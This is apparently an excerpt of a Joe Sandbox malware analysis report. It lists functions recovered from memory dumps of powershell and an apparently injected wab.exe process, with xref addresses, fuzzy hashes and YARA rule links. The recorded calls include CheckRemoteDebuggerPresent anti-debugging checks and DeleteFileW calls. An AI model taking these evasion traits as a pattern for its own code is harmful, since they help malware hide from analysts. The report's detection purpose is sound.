Download Yara Rule

Strings

$7q, xrefs: 07592410
$7q, xrefs: 075923BA
$7q, xrefs: 075923D6
$7q, xrefs: 07592404

Memory Dump Source

Source File: 0000000D.00000002.878915276314.0000000007590000.00000040.00000800.00020000.00000000.sdmp, Offset: 07590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7590000_powershell.jbxd

Similarity

API ID:
String ID: $7q$$7q$$7q$$7q
API String ID: 0-1116366105
Opcode ID: 7efa763db03f85e7b4f2b285639f652951a85ee3786d6d75bfcb07ff8075f10d
Instruction ID: 4e4e2a89c9a69d7473750fff3ace07ac0fb0010c1a759f00359446ab3f1729c1
Opcode Fuzzy Hash: 7efa763db03f85e7b4f2b285639f652951a85ee3786d6d75bfcb07ff8075f10d
Instruction Fuzzy Hash: C12107B9B10316A7DF24553A8850BA7779BFBC5615F24843BE94ADB381CE39C8418361

Function 075912EB Relevance: 5.0, Strings: 4, Instructions: 44COMMON

Download Yara Rule

Strings

$7q, xrefs: 07591332
$7q, xrefs: 0759133E
4'7q, xrefs: 0759135F
4'7q, xrefs: 07591353

Memory Dump Source

Source File: 0000000D.00000002.878915276314.0000000007590000.00000040.00000800.00020000.00000000.sdmp, Offset: 07590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7590000_powershell.jbxd

Similarity

API ID:
String ID: 4'7q$4'7q$$7q$$7q
API String ID: 0-65260992
Opcode ID: 4a87cd81b2b615cb2da54bca3a6ea1f6af4a2099503e700b8fdd1549c421435c
Instruction ID: 9233a9822c82cb4fc4b66425e4965a8033d5cc824b162918b4d96808a0e6457f
Opcode Fuzzy Hash: 4a87cd81b2b615cb2da54bca3a6ea1f6af4a2099503e700b8fdd1549c421435c
Instruction Fuzzy Hash: 3C01D664B196DB4FCB16023819601A87FB2AFC3558F2D00EBC082DB693C95A4C0A8B53

Analysis Process: wab.exePID: 9032, Parent PID: 6840COMMON

Execution Graph

Execution Coverage:	9.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	50%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 232C0040 Relevance: 9.3, Strings: 7, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

h2*#, xrefs: 232C00BB
$7q, xrefs: 232C073F
$7q, xrefs: 232C0774
$7q, xrefs: 232C078C
$7q, xrefs: 232C0768
$7q, xrefs: 232C074B
$7q, xrefs: 232C0798

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: h2*#$$7q$$7q$$7q$$7q$$7q$$7q
API String ID: 0-3020185119
Opcode ID: 0b61f17a8c19ab0bcc8b38cf8bbc877c653606abf27366dbef6feb8383d3d0bf
Instruction ID: b585649c9878dbaed0d0c0dccc4e6059ec69943faf6efa8f0dddf452488d3c95
Opcode Fuzzy Hash: 0b61f17a8c19ab0bcc8b38cf8bbc877c653606abf27366dbef6feb8383d3d0bf
Instruction Fuzzy Hash: C4324134E1075A8FCB14DB75C99459DF7B2BFD9300F61C7AAD40AA7254EB30AA85CB80

Function 232CAD28 Relevance: 1.8, Strings: 1, Instructions: 569
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH7q, xrefs: 232CAF89

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: PH7q
API String ID: 0-600173912
Opcode ID: 0a0b3aed6dd9dd5fb31e54c93e71a4ebef49ac781ff9750416d5901cf4249aab
Instruction ID: 26160791286d8574575fc4221324009be82c1959a1d320cad99c1536b941bee2
Opcode Fuzzy Hash: 0a0b3aed6dd9dd5fb31e54c93e71a4ebef49ac781ff9750416d5901cf4249aab
Instruction Fuzzy Hash: 7222E334B001468FCB04DB68C994A9DB7F6FF89310F2589A9E406EB352DB35ED85CB91

Function 22C95380 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 22C953F7

Memory Dump Source

Source File: 0000000F.00000002.882857692180.0000000022C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 22C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_22c90000_wab.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: c2ce5fecfdc50e82447bc8f65a083d76ae66f744f7d0356492f7f7a8cbdfa934
Instruction ID: e2c0f385cfd8e299589e2ec3a36999bb3a165b588af12044855453348428b98a
Opcode Fuzzy Hash: c2ce5fecfdc50e82447bc8f65a083d76ae66f744f7d0356492f7f7a8cbdfa934
Instruction Fuzzy Hash: 8A2125B19012598FCB00CFAAD984BEEBBF4AF49320F14845AE459A7750D778A944CFA1

Function 232C8B18 Relevance: .6, Instructions: 632COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cac9fd9c1eb8e50685075047b77aa09bad9e999e84505860de998fc80db50620
Instruction ID: eed57d0feb765bdd3e2952565282416d23439ef0642a0eb28f117b1152264b4e
Opcode Fuzzy Hash: cac9fd9c1eb8e50685075047b77aa09bad9e999e84505860de998fc80db50620
Instruction Fuzzy Hash: 2632C434B002498FDB04DF68C994B9DB7B6FB88314F158969E406EB385DB35ED82CB91

Function 232C7BB1 Relevance: .6, Instructions: 567COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fceafee381f81e281824027acf1d59a2c1712eafc0408084feed75912f4da10
Instruction ID: e35746f4f7504d4b59a2ece197d7418e155cc39dc3055d0249918d922a84bdbe
Opcode Fuzzy Hash: 1fceafee381f81e281824027acf1d59a2c1712eafc0408084feed75912f4da10
Instruction Fuzzy Hash: 8E22A334A0014A8FDB14DB5CC98479DB7F6FB85310F698AA5E409EB396CA34DDC1CB91

Function 232C1748 Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

f<q, xrefs: 232C1E55
\O<q, xrefs: 232C18FF
<8*#, xrefs: 232C1923
<8*#, xrefs: 232C1898
XP<q, xrefs: 232C1875

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: f<q$<8*#$<8*#$XP<q$\O<q
API String ID: 0-3744418349
Opcode ID: 8cf46b7d61ef675b4b6c52bd60696754e94b46f3cc0b120d13eb2f3b7e5c1192
Instruction ID: 5fb5d532e5da993772b6817f3a4c407a27ac13d96f0bf5e04fbff15a01f9799b
Opcode Fuzzy Hash: 8cf46b7d61ef675b4b6c52bd60696754e94b46f3cc0b120d13eb2f3b7e5c1192
Instruction Fuzzy Hash: 66619234F002199FEB04ABA4C95579EBBF6FF88700F20856AD506EB394DB759C458F90

Function 232C98C8 Relevance: 4.5, Strings: 3, Instructions: 797
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$7q, xrefs: 232C9CD3
$7q, xrefs: 232C9CC7
$7q, xrefs: 232C9CBF

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: $7q$$7q$$7q
API String ID: 0-2437495121
Opcode ID: 9f6618390e30afa7e10ff6e2e00e44c2c33b6d1ed3c19fb57bc83d26515ccf11
Instruction ID: 10854980a2ab67e2f7bbd75adacbd7fda3ceb14e632f4d6767c0dc8f69d2ff28
Opcode Fuzzy Hash: 9f6618390e30afa7e10ff6e2e00e44c2c33b6d1ed3c19fb57bc83d26515ccf11
Instruction Fuzzy Hash: 0A62733460024A8FDB15DF68C68495DB7F6FF84308B65CAA9D006AF354DB75ED86CB80

Function 232C5ABA Relevance: 2.7, Strings: 2, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$7q, xrefs: 232C5B4A
$7q, xrefs: 232C5B0F

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: $7q$$7q
API String ID: 0-1372239016
Opcode ID: feb3523719910aa087316c6915a74828c82d0893203470fd349818b327013667
Instruction ID: 6af306fa691f2fdc53bd0bc8099ae1a50e87d23abf288a9941765052a5a46c6c
Opcode Fuzzy Hash: feb3523719910aa087316c6915a74828c82d0893203470fd349818b327013667
Instruction Fuzzy Hash: F8516B34B002458FDB54DB75CD94BAEB7F6AB88310F148975C806E7388EA34ED468F51

Function 232C173B Relevance: 2.6, Strings: 2, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<8*#, xrefs: 232C1898
XP<q, xrefs: 232C1875

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: <8*#$XP<q
API String ID: 0-2422523526
Opcode ID: 3280b216ade0df711d85f3a8e963f9c7fd7256457a00576aed6c3beca6a5ed5a
Instruction ID: 4762192c938b0e30ffec1c710b4855833d409ca8288bef427121b76f0a509b80
Opcode Fuzzy Hash: 3280b216ade0df711d85f3a8e963f9c7fd7256457a00576aed6c3beca6a5ed5a
Instruction Fuzzy Hash: 51418F74F002189FDB459FA4C918B9EBBF7BF88700F20856AE106AB394DB759C41CB90

Function 22C9537B Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 22C953F7

Memory Dump Source

Source File: 0000000F.00000002.882857692180.0000000022C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 22C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_22c90000_wab.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 81f0397a5aed64e59c7c2101d7dbb3e1ea02f8278501ce612f15972ed5f53fd9
Instruction ID: c5684c7c2c3401d349be4eddf6c879e6c55a479df608ebb52a6d366481e66486
Opcode Fuzzy Hash: 81f0397a5aed64e59c7c2101d7dbb3e1ea02f8278501ce612f15972ed5f53fd9
Instruction Fuzzy Hash: B62148B1C002598FCB10CFAAD584BEEBBF4EF49310F14845AD455A7741D778A945CF61

Function 22C9649B Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(00000000), ref: 22C96510

Memory Dump Source

Source File: 0000000F.00000002.882857692180.0000000022C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 22C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_22c90000_wab.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 97a3194fc02f486102f7e27a9ec7ff63739aa02c0b5bf926b6dc1c4837c690d5
Instruction ID: efa646ee29e62226fd304750b7cc9aacf56e66e4feb20913431f5b4baeddc961
Opcode Fuzzy Hash: 97a3194fc02f486102f7e27a9ec7ff63739aa02c0b5bf926b6dc1c4837c690d5
Instruction Fuzzy Hash: A7215BB1C006598FCB10CFAAD6447EEFBB0EF48320F108569D854A7640D734A941CFA5

Function 22C964A0 Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(00000000), ref: 22C96510

Memory Dump Source

Source File: 0000000F.00000002.882857692180.0000000022C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 22C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_22c90000_wab.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 77b4dfc29b84b649068981ca0fd46ef0030f5775d69aa7dab61c6430b00c33cc
Instruction ID: 8b4903e7040ef321b9901207c3dc4082750b451ee71904eb41bc726b6644a899
Opcode Fuzzy Hash: 77b4dfc29b84b649068981ca0fd46ef0030f5775d69aa7dab61c6430b00c33cc
Instruction Fuzzy Hash: 161138B1C006599BCB10CF9AD6446AEFBB4EF48720F11856AD914A7640D778A940CFA5

Function 232C3270 Relevance: 1.5, Strings: 1, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

80*#, xrefs: 232C340C

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: 80*#
API String ID: 0-4256978840
Opcode ID: 4c2b0d0cd99fe5d4c64b7d86247af9e8b88b09fbe9939b7789bcfd652726c607
Instruction ID: 9e4f61b87b984598e1daec56073cd69f487beb305de20176d87f28fbc16ad382
Opcode Fuzzy Hash: 4c2b0d0cd99fe5d4c64b7d86247af9e8b88b09fbe9939b7789bcfd652726c607
Instruction Fuzzy Hash: A6A1B230A002458FCB15EB64C648A9DB7F2EF88354F19CDA9D546AB351DB39ED82CF84

Function 232C119C Relevance: 1.5, Strings: 1, Instructions: 215
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,7*#, xrefs: 232C1328

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: ,7*#
API String ID: 0-663257557
Opcode ID: a542e04b7f099741e41c70df5acaa84c07c935fdb8f1dad283f17979b759124a
Instruction ID: 191a0bc44901304e7ca8719b6eb62c13a45d9bb18d6a40f4f9f1319836773b9c
Opcode Fuzzy Hash: a542e04b7f099741e41c70df5acaa84c07c935fdb8f1dad283f17979b759124a
Instruction Fuzzy Hash: 59914E34E0025A8BDB10DF68C890B9DB7B1FF99300F208699D449FB295DB71AA86CF51

Function 232CAD13 Relevance: 1.5, Strings: 1, Instructions: 212
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH7q, xrefs: 232CAF89

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: PH7q
API String ID: 0-600173912
Opcode ID: f3276a4a94f6fe26a29b149e5ff4aeb6129fccc5001ee29a42a7b2b95806f902
Instruction ID: 57b6bdf2d4346582f1d4e0d5873b14b6ed10047b591beda5d4912e1feb8e31d9
Opcode Fuzzy Hash: f3276a4a94f6fe26a29b149e5ff4aeb6129fccc5001ee29a42a7b2b95806f902
Instruction Fuzzy Hash: 32818B34B102458FCB45DF28C998A9DBBF2EF89314B1589A9E406DB361DB31EC41CB91

Function 232C11B0 Relevance: 1.5, Strings: 1, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,7*#, xrefs: 232C1328

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: ,7*#
API String ID: 0-663257557
Opcode ID: fc1964fb18dc8fec41571a149380a158be6bf70d0403a2f5efebb6caa9e6bd21
Instruction ID: 47648d9319b315fb696ebecd75e80e9fabd7c5b61781900dd62b091dc6674161
Opcode Fuzzy Hash: fc1964fb18dc8fec41571a149380a158be6bf70d0403a2f5efebb6caa9e6bd21
Instruction Fuzzy Hash: 99914E34E0025A8BDB10DF68C880B9DB7B1FF99300F208699D549BB355DB71AE86CF91

Function 232CA449 Relevance: 1.4, Strings: 1, Instructions: 119COMMON

Download Yara Rule

Strings

PH7q, xrefs: 232CA599

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: PH7q
API String ID: 0-600173912
Opcode ID: fcd17b8815fbaa3d7cc0cf14b0875dad6aff78e17858e413fb23358aa600429a
Instruction ID: f3108831db803fc45075a9584ad1aa762488473415f99d642df46d6fee572405
Opcode Fuzzy Hash: fcd17b8815fbaa3d7cc0cf14b0875dad6aff78e17858e413fb23358aa600429a
Instruction Fuzzy Hash: 74419530E002469FDF15DF69C94469EBBB2BF85340F218D69D416E7241EB71E986CB81

Function 232C4C38 Relevance: 1.3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

Strings

$7q, xrefs: 232C4C5D

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: $7q
API String ID: 0-2736656084
Opcode ID: 7034a20d0a7693f3da2db5ff5bc990daf1e44ca8e1079b5a36067ee3ef90137c
Instruction ID: df7ba1e0db7ca2160071df796d23fb010ec9f49bf89bbbd8f66829dffeb3f211
Opcode Fuzzy Hash: 7034a20d0a7693f3da2db5ff5bc990daf1e44ca8e1079b5a36067ee3ef90137c
Instruction Fuzzy Hash: FFF0E235B00246DFCB169A54ED84A9E7BB8EF40321F1A0AE2C901E7175C3399FC2CB40

Function 232C28B0 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d35d3b8d30b5aef6c2d7ed7d050fc0fdbf1967016a7b7d7579163284302a586e
Instruction ID: 40cecbe3456588b2cf288d7624b80441424be62da98a5bfd4616107132e16aa0
Opcode Fuzzy Hash: d35d3b8d30b5aef6c2d7ed7d050fc0fdbf1967016a7b7d7579163284302a586e
Instruction Fuzzy Hash: 4B610671F001624BCF04AA79CC8495EF6EBAFC4A10B294879D80ADB3A5DE75DE4287D1

Function 232C0E7F Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6ad4d53701071ba47017b15796d6c68184c0be1cbecbaf0b17af03bc9b833dd
Instruction ID: b0d1d5097c20b5485b01f7570f29d7b37f9f65b4ed13db8d14d6dbdcf4e30258
Opcode Fuzzy Hash: a6ad4d53701071ba47017b15796d6c68184c0be1cbecbaf0b17af03bc9b833dd
Instruction Fuzzy Hash: BE818334B002468FDB44DF69C95979EB7F3AF89700F118968D806EB384DB74ED828B91

Function 232CB491 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee6b339000b8f0e147b5e6b43952193bfc94cf46f1f023a6248ec2ac5fb23a59
Instruction ID: f915960750c6c9339507578d136eeba1e34efe908bf8aff76805d95694998eaa
Opcode Fuzzy Hash: ee6b339000b8f0e147b5e6b43952193bfc94cf46f1f023a6248ec2ac5fb23a59
Instruction Fuzzy Hash: 2B714C35A002899FDB14DFA9C984A9EBBF6AF84304F258969D405EB355DA30ED46CB40

Function 232CB4A0 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed11b5433826443f07e7e5e37ce091447d73b0807774791fc0f8b767974d9f9d
Instruction ID: f9c9367a82d4b2a9154d2d2db222004e3f29e3a037c4713322c79afed17d6f39
Opcode Fuzzy Hash: ed11b5433826443f07e7e5e37ce091447d73b0807774791fc0f8b767974d9f9d
Instruction Fuzzy Hash: C1716C34A002898FDB04DFA9C984A9EBBF6EF84304F25C969D405EB355DB30ED86CB40

Function 232C2180 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63b4fd892d87dbfe95d6dc97a4b3095ee916d55bf10485895118309a060e7296
Instruction ID: 11b29a07e3dd90b52970e6a3f4793dee7153a53edbf6ab8f631d793164cfa24a
Opcode Fuzzy Hash: 63b4fd892d87dbfe95d6dc97a4b3095ee916d55bf10485895118309a060e7296
Instruction Fuzzy Hash: 73510870A103868FDF209BA8CCC075EB7B6FB45B10F258EA6D559D7242CA34D9C1CB51

Function 232C1FF9 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4092ab6055980100821724d36954996b1dc39b257d4003f06840003cb68c00d
Instruction ID: a5983457c6aa50335e2b721506a7ae79e2572d59cec87ce5a43d08041f2894c1
Opcode Fuzzy Hash: a4092ab6055980100821724d36954996b1dc39b257d4003f06840003cb68c00d
Instruction Fuzzy Hash: 5D41B175A003468FDF20DF99CC80A9FFBB6FB94B10F144E6AD21AD3241C671A985CB81

Function 232C0A83 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf6bc711669675e0a764f81fa4e80845b948768a31005009849d84f0a495cfb2
Instruction ID: 7b07b199f3173f6a07dc2167ea49fe20219110fa7609643d71fee71385fa2afa
Opcode Fuzzy Hash: cf6bc711669675e0a764f81fa4e80845b948768a31005009849d84f0a495cfb2
Instruction Fuzzy Hash: 5E21BC75B012059FCB00CFB8C885AAEBBF1EF58B14F1481A9E905EB384E734D941CB90

Function 232C0A90 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a921623ee03afc99976d3ee6190e906b3aa5f329d65379a9197fd2896be1a7c
Instruction ID: cca62d2d34bb572982fa0063fc3ae0bb972c1089ce9350f6d786389a08c94fba
Opcode Fuzzy Hash: 4a921623ee03afc99976d3ee6190e906b3aa5f329d65379a9197fd2896be1a7c
Instruction Fuzzy Hash: 6921AC75F413059FDB00DFA9C985A9EB7F5EB48B10F148169EA05E7384E734DA40CB90

Function 232C3265 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd1d5291020384bd7ccb7f49d87290ff99a69aaa10bbbe1feedf6d09fa531d23
Instruction ID: 306aa9845665266162472ee74a74005d2a860de64d90aa0532934abb6858481f
Opcode Fuzzy Hash: fd1d5291020384bd7ccb7f49d87290ff99a69aaa10bbbe1feedf6d09fa531d23
Instruction Fuzzy Hash: 79210130B001459FCF04DB69DA5469DBBFAEF88310F158AA9D506EB342DB39DD82CB85

Function 02EAD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882844431026.0000000002EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2ead000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04d72092cec016b54b61ce6e137b65f67cbcc313930efa018fb2fff968272ec4
Instruction ID: ec392561da97405b4e2e81560d116d190908e26e34ab3253becf698d74759bdf
Opcode Fuzzy Hash: 04d72092cec016b54b61ce6e137b65f67cbcc313930efa018fb2fff968272ec4
Instruction Fuzzy Hash: 06212274684240DFDB15CF24DEE5B26BFA6EB88318F20C569D84A4F746C336E806CA61

Function 232C0BA0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3de9e47c837d8d058749756fbf3e8a7434cce1dda5b8b095428f2323822ac2a
Instruction ID: 92c38c2bb70cc1384441ac24888dc31f388f27462d585b85bf740c91dc98e02c
Opcode Fuzzy Hash: e3de9e47c837d8d058749756fbf3e8a7434cce1dda5b8b095428f2323822ac2a
Instruction Fuzzy Hash: 0B1165357001198BCB44A668CD186AFB3BBEBCC611F05C579D806E7344DE78DD428BD1

Function 232CB710 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4fb88d68897798afbe8bf12e3caf7b8e2044468b730d04e57091d605e197e0a
Instruction ID: 05dae0d238beeee62df77639bb65a6edd6c063797d108b2b119bbe51f1742a99
Opcode Fuzzy Hash: d4fb88d68897798afbe8bf12e3caf7b8e2044468b730d04e57091d605e197e0a
Instruction Fuzzy Hash: 1B012D36B004410FD711A63C8854B1E77D6DBC9320F29CCA9E40AC7341E934DC468381

Function 232C0858 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21ac7ab5ed0716c18aa083e363bbcf6e325de9c1084f116c2b8fbed47d8abc6d
Instruction ID: 3775fc379a383b4064b0db509f601252e336222ce7b000c064e518a404257c76
Opcode Fuzzy Hash: 21ac7ab5ed0716c18aa083e363bbcf6e325de9c1084f116c2b8fbed47d8abc6d
Instruction Fuzzy Hash: 3921E3B5D01259AFCB00CFAAE984ADEFFB4FF49310F10866AE518A7640C3746950CFA5

Function 02EAD017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882844431026.0000000002EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2ead000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61a5db2228bb326d15582c4cfc4ffb9aab0961ce5e338eaf98e9cc1d3b6e7ea2
Instruction ID: ee95d8e3456876252b37c99f78bd39c063496b3f4bf2ec387d4d6761f2201ed1
